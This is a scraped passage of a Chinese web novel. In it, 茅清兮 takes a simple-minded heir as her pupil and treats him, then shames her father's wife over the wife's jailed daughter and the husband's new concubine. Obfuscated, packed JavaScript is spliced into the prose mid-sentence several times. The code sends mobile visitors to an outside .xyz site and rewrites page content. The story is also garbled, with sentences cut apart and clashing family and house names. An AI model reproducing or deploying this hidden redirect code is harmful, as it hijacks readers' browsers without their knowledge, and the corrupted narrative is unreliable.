两人回到官道上,墨川不动声色地在他们身上扫了一眼,若有所思,却什么也没说,只是默默地接过冀容白递过来的缰绳。 冀容白跨上马,握紧缰绳,回头看着茅清兮,迎着风,声音低沉而坚定:“等我。” 风吹起他的衣袍,猎猎作响,像是在回应他的承诺,又像是在诉说着无尽的思念。冀容白纵马而去,绝尘的身影很快消失在官道尽头。 茅清兮收回目光,独自一人,调转马头,缓缓向京城行去。 北境,有冀容白戍守。 而这京城…… 呵,也该轮到她茅清兮,好好搅弄一番风云了! 听雨阁。 茅清兮熟门熟路地推门而入。 “太子府又进贼了,而且……还是个女贼。” 司玄苏的声音压得极低,像是在分享什么不得了的秘密。 茅清兮眼皮都没抬一下,只是淡淡地“哦”了一声。 冀容白所说的“遮掩”……指的就是这个? “那女贼,不仅伤了白苏道长,还偷偷拿走了太子的一封机密,那信……啧啧,可是要命的东西。”司玄苏一边说着,一边暗中观察着茅清兮的反应。 只可惜,茅清兮面上始终不动声色,让人猜不透她的心思。 “太子爷派人追了大半个京城,连根**都没捞着。”司玄苏语气一转,带上了几分看好戏的意味,“更绝的是,今儿个早朝,宁王的人跟疯狗似的,咬**户部侍郎左大人,说他贪赃枉法,已经被逮进去了。” 茅清兮听到这儿,总算有了点反应。 她轻轻挑了挑眉,从司玄苏那副“你就等着瞧好吧”的表情里,已经猜到了七八分。 “所以……左大人是太子的钱袋子?那封信……” “主子圣明!”司玄苏立刻送上一记马屁,“现在太子府里头,都认定昨儿晚上是宁王的人下的黑手。” 这倒是暂时把脏水泼到宁王头上了…… 茅清兮轻轻呼出一口气,指尖无意识地摩挲着袖口。 只是,孔谋那人,疑心病重,只要被他盯上,想摘干净可就难了。 他那性子,可是宁可错杀一千,也绝不放过一个。 午饭,茅清兮就在听雨阁解决了。 自从上次锦衣卫来这儿闹过一场后,听雨阁的生意就冷清了不少。 不过司玄苏倒是不愁,转头又开了两家绸缎庄,生意好得不得了。 如今,这“司老板”的名号,在京城里可是响当当的,谁又知道这几家铺子背后真正的主人是谁呢? 伙计端菜进来的时候,茅清兮愣了一下。 竟是周长明。 他一见到茅清兮,那双眼睛就亮得跟通了电似的。 茅清兮也认出了他,不由得想起那天在听雨阁门口见到的那个小乞丐。 再看看眼前这个,穿戴整齐,干干净净,简直判若两人。 “主子。” 周长明的声音里,带着一丝难以掩饰的激动。 茅清兮瞟了一眼司玄苏,司玄苏立刻笑着解释:“这称呼,八成是跟我学的。” “坐,一起吃。”茅清兮招呼道。 在听雨阁,没那么多穷讲究。 周长明乐颠颠地在桌边坐下,那副急不可耐的样子,逗笑了茅清兮。 可他拿筷子的姿势,却让茅清兮嘴角的笑意僵住了。 这…… 分明是受过严格训练,才能养成的习惯。 “瞒不过主子,”司玄苏压低了声音,“这小子,其实是京城李家的种。” “李家?” 茅清兮微微皱眉。 她对这个家族,实在没什么印象,可又总觉得似乎在哪儿听过这个名字。 “您可能不知道,李家早些年是靠着漕运发迹的,就在南边儿的杭宁府。十一年前那场乱子里头,李家眼光毒,早早就跟当今圣上搭上了线。所以,这大晋朝一立,李家就混了个皇商的头衔。这些年,李家的生意是越做越大,说是富可敌国也不为过。” “这周长明,就是李家现任当家人的嫡长子。” 出乎意料的,周长明本人听到这些,脸上竟没有一丝波澜。 他只是专心致志地对付着眼前的饭菜,眼神清澈,仿佛什么都听不懂。 “既是李府的家仆,又怎么会流落街头?”茅清兮实在想不明白。 司玄苏叹了口气,声音里满是惋惜: “这孩子,小时候可是出了名的神童,听说记忆力堪比过目不忘,三岁便能吟诗,算数更是一绝。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062188|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,李家老爷子可没少拿他出去显摆,见人就吹嘘自己儿子将来必定出将入相,光宗耀祖。” “可惜啊……” 司玄苏看了一眼眼前这个对过去毫无记忆的少年,无奈地摇了摇头。 “那他这……到底是怎么回事?” 茅清兮忍不住追问。 “这事儿,我还真托人打听过。听说是七岁那年,不小心掉进了湖里。捞上来的时候,人就烧得不省人事了。” “然后呢?” “他那挨千刀的庶母,硬是压着不让请大夫,足足拖了三天!三天啊!等大夫来的时候,人已经……” 司玄苏没再说下去,只是摇了摇头。 接下来的事情,已经不难想象。 昔日的神童,变成了痴儿。 这让一向好面子的周老爷如何能忍受? 想当初,他四处炫耀,不知得罪了多少人。 如今,那些人全都跳出来落井下石。 周老爷气急败坏,对周长明非打即骂。 更别提他那个恶毒的庶母,在一旁煽风点火。 可怜周长明,在李家的日子,连条狗都不如。 最让人心疼的是,他痴傻了,根本不知道疼,更不会反抗。 后来,周老爷彻底不管他了,任由那个恶妇磋磨。 那女人,不仅打骂他,还嫌他在府里碍眼,最后竟狠心把他赶出了家门。 为了以绝后患,她甚至买通了两个地痞无赖,让他们暗中盯着周长明,不让他好过一天。 “就是那天在门口追他的那两个?”茅清兮问。 司玄苏点点头:“那两个泼皮,前两天还来这儿闹过,被我的人给打跑了。” 茅清兮的目光重新落回到周长明身上。 这段时日,他在听雨阁里吃得好,睡得香,身材也慢慢发育了,不像当初那样瘦得只剩一把骨头。 司玄苏也发现了,这孩子虽然痴傻,但干活却是一把好手,而且手脚麻利。 后来才知道,他以前在卫府,一直被当下人使唤。 那些下人,也仗着他傻,什么脏活累活都推给他。 他要是不做,就没饭吃。 长此以往,竟是什么都会做了。 茅清兮看着周长明,心中突然一动。 她想起来了! 第一百五十八章 上一世,在钱云霄的书房里,她曾无意中听到过只言片语。 李家…… 是钱云霄的钱袋子! 这京城,看似平静,实则暗流汹涌。 李家能有今日的泼天富贵,背后若没有靠山,早就被人啃得连骨头都不剩了。 而钱云霄,就是李家背后那棵参天大树! 茅清兮的脸色,瞬间冷了下来,仿佛结了一层寒霜。 司玄苏也察觉到了她的变化,神色凝重。 “这李家,留着也是个祸害。不如……” 茅清兮的声音很轻,却带着一股子狠劲儿。 “主子是想……”司玄苏试探着问道。 “既然是钱云霄的钱袋子,那咱们就给他捅个窟窿,让他也尝尝心疼的滋味!”茅清兮冷笑一声。 说完,她又看向周长明。 周长明已经干掉了两大碗饭,正襟危坐,像个听训的小学生。 茅清兮伸手,捏了捏他有些单薄的肩膀,问道:“想不想学功夫?” 周长明还没来得及回答,司玄苏先惊呼出声:“主子,您……您这是要收他当徒弟?” “怎么?不行?”茅清兮挑眉。 她嘴角勾起一抹玩味的笑: “既然所有人都瞧不上他,那我就偏要让他成为天下第一。到时候,我倒要看看,李家那些有眼无珠的人,会是什么表情!” 司玄苏愣住了。 他没想到,自家主子还有这等“癖好”。 不过,看着那些曾经狗眼看人低的人后悔莫及,倒也的确是一件大快人心的事。 “再说了,他才是李家名正言顺的继承人,凭什么让那些阿猫阿狗占了家产?”茅清兮又补充了一句。 她的目光再次落到周长明身上,眼神里带着几分期许: “想不想学?” 周长明眨巴着眼睛,眼神清澈得像一汪泉水: “能……变厉害?” “那是当然。” 茅清兮的语气笃定: “不过,你要是学艺不精,可别怪我翻脸不认人,我可丢不起那个人!” 周长明也不知听懂了没有,咧嘴一笑,露出两排整齐的小灵牙: “要……厉害!顶厉害!” 若是周长明没有痴傻,无论他选择哪条路,都注定会成为人中龙凤。 他的天赋,本就远胜常人。 可惜…… 只是,连他们自己都不知道,茅清兮今日这心血来潮的一个决定,竟真的在日后,造就了一位名震天下的传奇人物。茅清兮将周长明带回了鹰府。 一进门,紫姨便迎了上来,目光落在了她身后那个小小的身影上。 那是周长明。 他安静地站在茅清兮的身后,像个小尾巴。 “这孩子……”紫姨的眼眶微微泛红,声音也有些哽咽,“生得真俊,让人瞧着就心疼,身材有点干瘦,以后可得好好补补。” 周长明眨巴着大眼睛,好奇地打量着周围的一切,眼神中充满了新奇。但他并没有乱动,也没有乱摸,只是乖乖地站在那里,小手紧紧地攥着茅清兮的衣角。 茅清兮微微侧过身,挡住了周长明看向紫姨的视线,低声问道:“紫姨,长明他……脑子受过伤,您看,还有法子治吗?” 紫姨叹了口气,上前拉过周长明的小手,细细地为他把脉。 眉头紧锁,像是在思索着什么。 “小姐,这孩子的病症……怕是有些年头了,想要根治,难。”紫姨缓缓开口,语气中带着一丝无奈。 茅清兮轻轻咬了咬下唇,神色黯然。 其实,在带周长明回来之前,她就已经为他诊过脉了。 只是,结果并不如人意。 如今再问紫姨,不过是想再确认一番,看看是否还有其他的希望。 紫姨见茅清兮这般模样,话锋一转:“虽不能根治,但若用银针辅以特制药浴,假以时日,或可缓解。” 茅清兮原本黯淡的眼神,又重新燃起了一丝希望。 能缓解就好!总比一点希望都没有强。 “小姐如今也收徒了,医术又精湛,这孩子的治疗,就交给你了。”紫姨看着茅清兮,眼中满是欣慰,还有一丝期待。 茅清兮微微颔首,没有推辞。 她明白紫姨的意思。 医术一道,博大精深,但紫姨能教的,早已倾囊相授。更何况,银针之术,她早已练得炉火纯青。 既然如此,周长明的治疗,就由她来负责吧。 虽说如此,第一次施针的时候,紫姨还是放心不下,在一旁看着。 茅清兮深吸一口气,让自己静下心来。 她拈起一根银针,找准穴位,缓缓刺入周长明头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062189|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部的穴位。 一针,两针,三针…… 她全神贯注,不敢有丝毫分心。 周长明紧紧闭着眼睛,小小的身体微微颤抖,额头上渗出细密的汗珠,却始终没有发出一点声音。 待那根银针缓缓刺入,茅清兮才如释重负地吐出一口气,身上已然出了一层薄汗。 “这孩子,倒是能忍。”紫姨看着周长明,眼中满是疼惜。 茅清兮转头看向周长明。 他的脸色有些苍白,小小的手紧紧地攥成拳头,指节都有些发青。 可见,他并非不疼,只是强忍着罢了。 茅清兮心中一软。 她平日里很少与孩子打交道,更不擅长明慰人,犹豫了片刻,才轻轻地说:“再忍一忍,等针拔了,就不会这么疼了。” 周长明缓缓睁开眼睛,看向茅清兮,轻轻摇了摇头:“师父,我不疼。” 声音很轻,带着一丝不易察觉的颤抖。 茅清兮微微一怔,竟不知该说些什么。 紫姨在一旁看着,忍不住笑了。 这师徒二人,连忍痛的性子都如出一辙,倒真是有缘。 她越看周长明,越觉得喜欢。 拔完针,茅清兮又亲自调配了一副药,倒进早已备好的浴桶里,让周长明好好泡一泡。 “这药浴,需得每日都泡,不可间断。”茅清兮叮嘱道。 周长明乖乖地点了点头。 茅清兮知道,要治好周长明,不是一朝一夕就能完成的。 而且,这种疗法,也只能缓解他的症状,并不能让他彻底痊愈。 但至少,能让他比现在过得更好一些。 茅清兮看着周长明,心中暗暗下定决心,一定要尽自己最大的努力,帮助他。 想起当初教导茅飞羽的经历,茅清兮至今仍心有余悸。 茅飞羽对她教的东西毫无兴趣,各种挑剔,让她一度怀疑自己根本不适合教人。 因此,当初司玄苏提议让她收徒时,她才会毫不犹豫地拒绝。 可如今,教导周长明,却让她有了完全不同的感受。 不是她不适合教人,而是,她没有遇到一个真正想学、愿意学的人。 周长明不一样,他学什么都很快。 茅清兮教的东西,他总是能很快掌握,不仅如此,还能举一反三,触类旁通。 第一百五十九章 即使习武需要超乎常人的毅力与韧性,可这些对周长明而言仿佛与生俱来。 茅清兮教什么,周长明就学什么。 为了把每一个动作都做到完美,他可以不吃不喝地练上一整天。 有时候,他甚至比茅清兮还要勤奋。 这让茅清兮既欣慰,又有些哭笑不得。 “师父,这个动作,我练得对吗?”周长明练完一套拳法,气喘吁吁地跑到茅清兮面前,满怀期待地问道。 茅清兮点了点头,指出了他几个需要改进的地方。 周长明认真地听着,然后又跑到一边,继续练习去了。 看着他那认真的模样,茅清兮的心中,充满了成就感。 周长明练基本功,她就在一旁练剑。 一个教,一个学,师徒二人,在这小小的院落里,度过了一段平静而充实的时光。 然而,平静的日子,总是短暂的。 这天,茅清兮正在练剑,突然听到一阵急促的脚步声。 “谁?”她停下手中的剑,微微蹙眉。 周长明连忙放下手中的木剑,小跑着过来,倒了一杯茶,递给茅清兮。 茅清兮接过茶杯,轻轻抿了一口,示意他稍安勿躁。 “回夫人,是安阳侯府来人了。”绿绿站在门口,轻声禀报,语气中带着一丝不安。 安阳侯府? 茅清兮的眉头,皱得更紧了。 这个时候,安阳侯府的人来做什么? “请进来。”茅清兮道。 她倒要看看,安阳侯府的人,又想搞什么鬼。 绿绿应了一声,转身出去了。 没过多久,绿绿便带着一个婆子走了进来。 那婆子一见到茅清兮,便扑通一声跪倒在地,哭喊道:“大小姐,求您救救二小姐吧!” 茅清兮不动声色地看着她,并没有说话。 她倒要看看,这婆子,能说出什么花来。 “大小姐,二小姐是被冤枉的啊!她根本就没有做过那些事,您是知道的啊!”那婆子哭得一把鼻涕一把泪,声音都嘶哑了。 茅清兮依旧没有说话。 那婆子见茅清兮不为所动,便开始磕头,一边磕头,一边哭喊:“大小姐,您就行行好,救救二小姐吧!再这样下去,二小姐会没命的啊!” “够了!”茅清兮终于开口了,声音冰冷,“二小姐犯了什么事,自有律法处置,与我何干?” “大小姐,您怎么能这么说呢?二小姐可是您的亲妹妹啊!”那婆子一脸震惊地看着茅清兮,似乎不敢相信她会说出这样的话来。 “亲妹妹?”茅清兮冷笑一声,“我可没有一个,被锦衣卫抓走的亲妹妹!” “大小姐,您……” “来人,把她给我赶出去!”茅清兮不耐烦地打断了她的话。 “大小姐,您不能这么做!您会后悔的!”那婆子被几个家丁架了起来,还在不停地挣扎,不停地叫喊。 “后悔?”茅清兮看着她,眼神冰冷,“我茅清兮,从不做让自己后悔的事!” “清兮!” 就在这时,一个尖锐的声音,突然从门外传来。 茅清兮抬头一看,只见骆芸带着一群人,气势汹汹地闯了进来。 “茅清兮,你这个不孝女!你竟然敢这么对你妹妹,你还是不是人?”骆芸指着茅清兮的鼻子,破口大骂。 “骆姨娘,这里是鹰府,不是你们安阳侯府,还轮不到你在这里撒野!”茅清兮冷冷地看着她,毫不客气地说道。 “你……你……”骆芸被茅清兮的话气得浑身发抖,“好,好,好!茅清兮,你给我等着!我倒要看看,你能嚣张到几时!” “我等着。”茅清兮冷冷地说道,“不过,在等着看我笑话之前,骆姨娘还是先想想,怎么跟皇上解释吧!” “你……”骆芸的脸色,瞬间变得惨白。 “别忘了,抓走二小姐的,可是锦衣卫!”茅清兮一字一顿地说道,“锦衣卫,是奉皇上的旨意办事。骆姨娘,你若是对皇上的旨意有什么不满,大可以进宫去,跟皇上好好说道说道!” 骆芸张了张嘴,却什么也说不出来。 她怎么敢跟皇上叫板? “或者……”茅清兮顿了顿,继续说道,“骆姨娘也可以去顺天府,击鼓鸣冤。看看顺天府,敢不敢接你的状子!” 骆芸的身体,开始微微颤抖起来。 她知道,茅清兮这是在威胁她。 可是,她却不敢不听。 因为茅清兮说的,都是事实。 她根本就斗不过茅清兮,更斗不过皇上!“我……我不是那个意思……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066190|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 骆芸的声音发着颤,每一个字都像是从嗓子眼里挤出来的,眼神慌乱得像一只受惊的小鹿。 茅清兮的话,像一记闷雷,在她头顶炸响。 “忤逆圣意”这顶帽子,沉甸甸地压下来,压得她喘不过气,几乎要窒息。 茅暮暮出事后,骆芸的世界就全乱了。她像一只没头苍蝇,四处乱撞,却找不到一点出路。 她去求茅文昭,可茅文昭呢? 碰了几次钉子,就再也不肯出面。 只要她一提茅暮暮,茅文昭就大发雷霆,摔盆子砸碗,比谁都凶。 在这偌大的京城里,除了茅文昭,她一个深宅妇人,还能指望谁? 这些年,事事都是茅暮暮替她出谋划策。如今茅暮暮一倒,她就像是被人抽走了主心骨,六神无主,手足无措。 她下意识地看向春秋,把她当成了救命稻草。 毕竟,今天来这里**,是春秋出的主意。 她还记得,春秋当时拍着胸脯保证,只要能让茅清兮当众答应救人,茅暮暮就有救了。 可现在呢? 茅清兮压根不买账,还拿皇上来压她! 春秋刚想开口辩解,就被鹰府的家丁一把捂住了嘴。 几个家丁连拖带拽,直接把她押往诏狱的方向。 骆芸彻底慌了,身子一软,差点儿瘫倒在地。 “扑通”—— 是绿绿跪下了。 绿绿眼疾手快,一把扶住了摇摇欲坠的骆芸,自己却顺势跪倒在地,膝盖重重地磕在青石板上。 “九小姐,您这是要逼死夫人啊!” 绿绿的声音带着哭腔,却又透着一股决绝。 骆芸死死咬着下唇,嘴唇都被咬破了,渗出血丝,声音也变得嘶哑。 她指着茅清兮,声泪俱下地哭喊: “我这条贱命,你拿去吧!可你不能害你妹妹啊!” 说着,骆芸猛地一挣,想要挣脱绿绿的搀扶。 她不管不顾地朝着一旁的石狮子冲过去,看那架势,是真想一头撞死。 绿绿吓得脸色惨白,哪里敢放手? 她死死地抱住骆芸的胳膊,拼了命地往回拽。 茅清兮冷眼看着这出闹剧,嘴角勾起一抹嘲讽的弧度: “骆姨娘,您这话,可就说岔了。 第一百六十章 ” 她缓缓开口,声音冰冷,不带一丝感情, “如今,我茅清兮跟安阳侯府,早就没了半点关系。即便我现在身处陆家,您一个姨娘,又有什么资格,让我叫您一声‘母亲’?” 她停顿了一下,目光扫过骆芸煞白的脸, “您在安阳侯府作威作福惯了,怕是忘了,姨娘再尊贵,也不过是玩意儿。” “茅清兮!你……你胡说!” 骆芸气得浑身发抖,尖声叫道, “我可是宓爷明媒正娶的正妻!是八抬大轿迎进门的!” “长平侯夫人”这几个字,是她这辈子最大的体面,是她的骄傲,也是她的底线。 她绝不能容忍茅清兮如此侮辱她! 茅清兮轻笑一声,目光缓缓扫过周围那些窃窃私语、指指点点的人群: “哦?是吗?” “既然如此,我倒想问问大家,有谁见过,哪家正经夫人,是先有了庶长女,才被抬进门的?” 她故意拉长了语调,声音不高,却足以让在场的每一个人都听得清清楚楚。 “茅清兮!你血口喷人!” 骆芸气得脸色铁青,她猛地转向众人, “你们……别听她的!我……我真是宓爷明媒正娶的!” “明媒正娶?” 茅清兮冷笑一声,步步紧逼, “那茅暮暮呢?她又算什么?” “我记得没错的话,她只比我小一岁吧?” “这事儿,您是不是该给大家一个交代?” 她的话音刚落,人群中顿时一片哗然。 大家交头接耳,议论纷纷。 是啊,茅文昭一直对外宣称,他跟骆芸是青梅竹马,两情相悦,早有婚约。 可如果真是这样,茅暮暮又该怎么解释? 这明摆着,就是两人还没成亲,就先苟且到了一起! 这种事,别说是名门望族了,就是普通人家,也做不出这么丢人现眼的事儿啊! 一时间,众人看向骆芸的眼神都变了。 那些目光,像刀子一样,一下一下地凌迟着她。 骆芸拼命地想要解释,可越解释,就越是显得苍白无力。 以前,这谎言之所以能瞒天过海,只因世人皆不敢与长平侯叫板。 可现在,遮羞布被茅清兮当众扯了下来,赤裸裸的真相暴露在光天化日之下,谁还会顾忌他长平侯的面子? 骆芸只觉得,那些鄙夷的目光,像是一座座大山,压得她喘不过气来。 她苦心经营的“长平侯夫人”的体面,在这一刻,轰然倒塌。 眼前一黑,骆芸身子一软,晕了过去。 茅清兮冷眼旁观,朝绿绿使了个眼色。 绿绿立刻上前,狠狠地掐住了骆芸的人中。 一阵剧痛袭来,骆芸悠悠转醒。 “茅暮暮毒害祖母,证据确凿,您若真觉得她是冤枉的,就该去诏狱,找锦衣卫理论去。” 茅清兮的声音冰冷而无情。 骆芸脸色煞白,嘴唇哆嗦着,说不出话来。 她不明白,为什么茅清兮什么证据都没有,这些人却都信了她的话? 她该怎么办? 如果……若是她失去了长平侯正室的地位,难道……真的要被打回原形,重新回到那个破败的小院子里,去做一个见不得光的外室吗? 骆芸心乱如麻,惊恐万状。 至于茅暮暮? 她早就忘到九霄云外去了。 她现在满脑子想的,都是如何保住自己的地位。 茅清兮挥了挥手,示意手下的人将骆芸送到诏狱门口。 骆芸这种养尊处优的妇人,哪里见过诏狱那等阴森恐怖的地方? 只远远地看了一眼,就吓得魂飞魄散,尖叫一声,转身就跑。 她跌跌撞撞地跑回了陆府。 茅文昭还不知道外面的流言蜚语,见骆芸这副失魂落魄的样子,心头一阵烦躁。 以前,他喜欢骆芸的温柔贤惠,觉得她知书达理,配得上长平侯夫人的位置。 可自从茅暮暮出事后,骆芸除了哭,什么都不会。 莫非他不愿救自己的骨肉? 可茅暮暮进的是诏狱啊! 那种地方,岂是他想进就能进的? 他还没走到诏狱门口,就被那些狱卒给拦了下来。 他想摆长平侯的架子,可那些人根本不吃他这一套,直接把他推倒在地。 “诏狱重地,闲杂人等,不得靠近!” 茅文昭吓破了胆,从此再也不敢出门。 可骆芸根本不理解他的苦衷,只知道哭闹。 茅文昭越想越烦,忽然想起,自己新纳的妾室褚姨娘。 褚姨娘可不是一般女子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066191|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原也是官宦之后,只是家道中落了。 她不但生得美艳,还会些拳脚功夫。 当初,茅文昭就是在茶馆里,对她一见钟情的。 那日,茅文昭正跟几个朋友在茶馆里喝茶,忽然听到一阵喧哗。 他走过去一看,原来是一个泼皮在调戏卖唱的褚姨娘。 那泼皮对褚姨娘动手动脚,褚姨娘一个闪身躲过,反手就是一巴掌。 可那泼皮也不是好惹的,仗着人多势众,就要动手**。 褚姨娘虽然会些拳脚,可毕竟是个弱女子,哪里是这些泼皮的对手? 眼看着褚姨娘就要吃亏,茅文昭挺身而出。 他本想学话本里的英雄救美,可还没等他出手,褚姨娘就一脚踹了过去。 那一脚,正中那泼皮的要害,疼得他嗷嗷直叫。 茅文昭看得目瞪口呆。 他没想到,褚姨娘竟然如此厉害。 后来,那泼皮贼心不死,带着人来寻仇,茅文昭才知道,他竟是顺天府一个六品小官的儿子。 褚姨娘惹了麻烦,眼看着就要被带走。 茅文昭一时心软,便将她带回了府里。 原本只是想给她一个容身之所,可没想到,褚姨娘一进府,就勾走了他的魂。 他本以为自己喜欢的是骆芸那种大家闺秀,可如今,他却对褚姨娘这个会武功的女子动了心。 这一个月来,他几乎夜夜都歇在褚姨娘的房里。 若非骆芸被茅暮暮的事情绊住了手脚,只怕早就闹翻天了。 茅文昭向来不沉溺女色,可为了褚姨娘,却破了例。 等骆芸发现褚姨娘的存在时,安阳侯府,又是一场鸡飞狗跳。暮色四合,褚姨娘的院落里透出融融暖光。 茅文昭到时,褚姨娘正提剑起舞。 说是舞剑,不如说是比划。 来来**,不过是那几个固定的招式,如同戏台上花旦的亮相,虚张声势罢了。 褚姨娘并无什么真功夫,不过上次对付那几个泼皮时,占了他们身子虚浮的便宜,才能侥幸得手。 可茅文昭偏就喜欢她这带着几分虚假的“武艺”。 能吟诗作对,又略通拳脚,最妙的是,这点拳脚功夫,还不足以让她独当一面,遇事还得娇滴滴地向他求助。 这让茅文昭心底那股子保护欲,如同陈年老酒,越发醇厚。 第一百六十一章 “老爷。” 褚姨娘眼尖,余光瞥见茅文昭,手中长剑一顿,随即轻巧地收势,整个人如乳燕投林般,扑进他的怀里。 茅文昭身上还带着些许怒气。 那是之前在骆芸那儿憋闷的。 此刻怀抱佳人,那股子邪火,竟也消散了大半,化作了怀中的绕指柔。 “婉苏,” 茅文昭轻叹一声,声音低沉而沙哑, “你对我真是太好了,只有在你这儿,我才能真正松快松快。” 褚婉苏柔荑轻抬,指尖若有若无的划过他的胸口,仿佛带着电流。 “妾身不过是一株菟丝花,只能依附着老爷,若是能让老爷舒心,便是妾身的福分了。” 她声线柔媚,每个字都像小钩子,挠得茅文昭心痒难耐。 茅文昭只觉得心里熨帖,愈发觉得褚婉苏可心,不由得又想起了骆芸。 也不知从什么时候开始,那女人竟也学会了顶嘴! 想当初,她也是这般伏低做小,小意温柔,怎么如今就变成了个悍妇? 他是长平侯,一家之主,难道连纳个妾的自由都没有了吗? 偏偏说她两句,她倒先委屈上了,眼泪说来就来,还翻出陈年旧账,说什么当初许诺要一辈子对她好……当真是无理取闹! 从前,没有褚婉苏的时候,这些他都强忍了。 可如今,尝过了褚婉苏的蜜糖,茅文昭是半点也不想再喝骆芸那碗苦药。 “婉苏,” 茅文昭将她搂得更紧了些,在她耳边低语: “还是你最好,这世上再没有比你更好的女子了。” “老爷又取笑人家~” 褚婉苏娇嗔一声,脸上飞起两抹红霞,胜过窗外盛开的海棠。 茅文昭心头一荡,目光落在了褚婉苏手中的长剑上。 他脑海中浮现出一抹红色的身影,英姿飒爽,却又带着几分遥不可及的疏离。 “婉苏,再舞一支剑给本侯看看。” 茅文昭突然来了兴致。 “好呀。” 褚婉苏应了一声,身形一转,翩然退开,像一只轻盈的蝴蝶,再次舞动起手中的长剑。 但这一次,她似乎比之前更卖力了几分,每一个动作,都带着几分刻意的柔媚。 茅文昭凝望着她的身影,心头竟也生出几分年少时的悸动,只是这份悸动中,又夹杂了几分说不清道不明的怅然。 - 骆芸独坐在房中。 她的眼睛已经哭得红肿,帕子湿了一大片,却依然止不住泪水。 她想不通,事情怎么会变成这样。 明明,当初是他亲口许诺,要一生一世一双人…… 如今,却连多看她一眼都不愿意。 骆芸越想越慌。 长平侯夫人的位置,她还能保得住吗? 还能风光多久? 往常这个时候,春秋总能给她出些主意,说些宽慰的话。 可如今,偌大的屋子里,只剩下她一个人,孤零零的,像一叶浮萍,无依无靠。 骆芸猛地站起身,跌跌撞撞的走向梳妆台。 她要去找茅文昭! 可她寻遍了主屋和书房,都不见他的踪影,连个鬼影子都没有。 “老爷呢?” 骆芸一把抓住个小丫鬟,声音尖利,全然没了往日的端庄。 那丫鬟被她吓得一哆嗦,支支吾吾了半天,才憋出一句: “老爷……在褚姨娘屋里。” “褚姨娘?!” 骆芸如遭雷击,身体晃了晃, “哪儿来的狐媚子?!” 几个下人面面相觑,大气都不敢出,最后还是一个年长的婆子,战战兢兢地将府里新添了位褚姨娘的事儿交代清楚。 骆芸只觉得一阵天旋地转,眼前发黑,身子一软,险些跌倒在地。 “夫人,夫人!您可千万保重身子啊!” 几个丫鬟眼疾手快,连忙将她扶住,七嘴八舌地劝慰着。 “老爷……他怎么能这么对我……” 骆芸喃喃自语,指甲死死抠住丫鬟的手臂,几乎要掐出血来, “带路……带我去……” 她声音嘶哑,如同破锣一般, “我要去看看……看看那个不要脸的褚姨娘……” 褚姨娘的院落并不远。 骆芸一路跌跌撞撞,甚至顾不上整理凌乱的衣衫和散乱的发髻。 到了院门口,她一把推开前来阻拦的下人,像一头发疯的母狮子般,径直闯了进去。 屋内的景象,如同一把尖刀,狠狠刺进了骆芸的心里。 茅文昭正搂着褚姨娘,两人低声说笑着。 那副温柔小意的模样,是骆芸从未见过的。 她只觉得一股热血直冲头顶,理智瞬间崩塌。 “你这个**!” 积压已久的怒火,在这一刻彻底爆发。 骆芸尖叫一声,猛地扑了上去,扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076857|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手就要给褚姨娘一巴掌。 事发突然,茅文昭和褚姨娘都被吓了一跳,双双愣在原地。 褚姨娘压根没反应过来,脸上已经结结实实挨了一巴掌,火辣辣的疼。 “老爷……” 褚姨娘用手遮面,泪眼朦胧地看向茅文昭,那模样,楚楚可怜,仿佛受了天大的委屈。 “你做什么?!” 茅文昭这才回过神,一把将骆芸推开,厉声喝问, “疯了吗?!” “是她!是她勾引了老爷!” 骆芸指着褚姨娘,声音都在颤抖, 